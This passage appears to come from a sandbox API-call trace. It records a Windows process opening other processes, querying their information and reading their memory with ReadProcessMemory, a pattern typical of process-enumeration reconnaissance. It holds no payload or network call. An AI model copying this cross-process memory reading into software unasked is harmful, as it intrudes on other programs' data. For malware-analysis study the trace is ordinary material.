_Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5796") returned 4 [0358.011] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0358.011] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0358.012] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16a4) returned 0xa9c [0358.013] GetLastError () returned 0x0 [0358.013] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0358.013] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x20e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0358.013] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0358.013] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c25e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0358.013] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2258, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0358.013] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0358.014] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0358.014] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x20e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0358.014] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0358.014] malloc (_Size=0x48) returned 0xea7b10 [0358.014] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2298, lpBuffer=0xea7b10, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea7b10*, lpNumberOfBytesRead=0x0) returned 1 [0358.015] free (_Block=0xea7b10) [0358.015] CloseHandle (hObject=0xa9c) returned 1 [0358.015] _ui64tow_s (in: _Value=0x16c0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5824") returned 0x0 [0358.015] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5824") returned 4 [0358.016] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0358.016] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0358.017] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16c0) returned 0xa9c [0358.017] GetLastError () returned 0x0 [0358.017] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0358.017] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x378018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0358.017] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0358.017] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0358.017] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0358.018] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0358.018] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0358.018] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x378020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0358.018] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0358.018] malloc (_Size=0x6a) returned 0xea8f20 [0358.019] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22ba, lpBuffer=0xea8f20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8f20*, lpNumberOfBytesRead=0x0) returned 1 [0358.019] free (_Block=0xea8f20) [0358.019] CloseHandle (hObject=0xa9c) returned 1 [0358.019] _ui64tow_s (in: _Value=0x16e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5856") returned 0x0 [0358.020] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5856") returned 4 [0358.020] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0358.020] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0358.022] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16e0) returned 0xa9c [0358.022] GetLastError () returned 0x0 [0358.022] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0358.022] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x309018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0358.022] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0358.022] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0358.022] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0358.023] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0358.023] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0358.023] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x309020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0358.023] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0358.023] malloc (_Size=0x84) returned 0xe879d0 [0358.024] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822d4, lpBuffer=0xe879d0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe879d0*, lpNumberOfBytesRead=0x0) returned 1 [0358.024] free (_Block=0xe879d0) [0358.024] CloseHandle (hObject=0xa9c) returned 1 [0358.024] _ui64tow_s (in: _Value=0x16fc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5884") returned 0x0 [0358.025] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5884") returned 4 [0358.025] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0358.025] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0358.026] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16fc) returned 0xa9c [0358.026] GetLastError () returned 0x0 [0358.026] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0358.026] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x243018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0358.026] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0358.027] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0358.027] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0358.027] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0358.027] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0358.027] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x243020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0358.028] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0358.028] malloc (_Size=0x70) returned 0xea9720 [0358.028] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d22c0, lpBuffer=0xea9720, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9720*, lpNumberOfBytesRead=0x0) returned 1 [0358.028] free (_Block=0xea9720) [0358.029] CloseHandle (hObject=0xa9c) returned 1 [0358.029] _ui64tow_s (in: _Value=0x1718, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5912") returned 0x0 [0358.029] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5912") returned 4 [0358.029] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0358.029] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0358.030] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1718) returned 0xa9c [0358.030] GetLastError () returned 0x0 [0358.030] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0358.030] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x269018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0358.031] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0358.031] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0358.031] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0358.031] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0358.032] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0358.032] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x269020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0358.032] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0358.032] malloc (_Size=0x68) returned 0xeb6460 [0358.032] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222b8, lpBuffer=0xeb6460, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6460*, lpNumberOfBytesRead=0x0) returned 1 [0358.033] free (_Block=0xeb6460) [0358.033] CloseHandle (hObject=0xa9c) returned 1 [0358.033] _ui64tow_s (in: _Value=0xc68, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3176") returned 0x0 [0358.033] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3176") returned 4 [0358.034] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0358.034] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0358.035] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc68) returned 0xa9c [0358.035] GetLastError () returned 0x0 [0358.035] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0358.035] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x297018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0358.035] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0358.035] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552510, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0358.035] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552198, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0358.036] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0358.036] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0358.036] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x297020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0358.037] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551b50, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0358.037] malloc (_Size=0x5a) returned 0xeb6700 [0358.037] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5521d8, lpBuffer=0xeb6700, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0358.038] free (_Block=0xeb6700) [0358.038] CloseHandle (hObject=0xa9c) returned 1 [0358.051] _ui64tow_s (in: _Value=0x1260, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4704") returned 0x0 [0358.052] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4704") returned 4 [0358.053] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0358.053] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0358.053] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1260) returned 0xa9c [0358.053] GetLastError () returned 0x0 [0358.054] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0358.054] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0358.054] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0358.054] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0358.054] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0358.054] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0358.054] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0358.054] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0358.055] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0358.055] malloc (_Size=0x64) returned 0xeb64d0 [0358.055] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb64d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb64d0*, lpNumberOfBytesRead=0x0) returned 1 [0358.055] free (_Block=0xeb64d0) [0358.055] CloseHandle (hObject=0xa9c) returned 1 [0358.056] _ui64tow_s (in: _Value=0xc6c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3180") returned 0x0 [0358.056] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3180") returned 4 [0358.056] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0358.056] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0358.057] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc6c) returned 0xa9c [0358.057] GetLastError () returned 0x0 [0358.057] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0358.057] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e0018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0358.057] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0358.057] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a2470, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0358.057] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a2118, lpBuffer=0x5ec5a0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0358.058] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0358.058] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0358.058] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e0020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0358.058] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0358.058] malloc (_Size=0x2c) returned 0xe71b70 [0358.058] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a215c, lpBuffer=0xe71b70, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe71b70*, lpNumberOfBytesRead=0x0) returned 1 [0358.059] free (_Block=0xe71b70) [0358.059] CloseHandle (hObject=0xa9c) returned 1 [0358.059] _ui64tow_s (in: _Value=0x16b8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5816") returned 0x0 [0358.059] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5816") returned 4 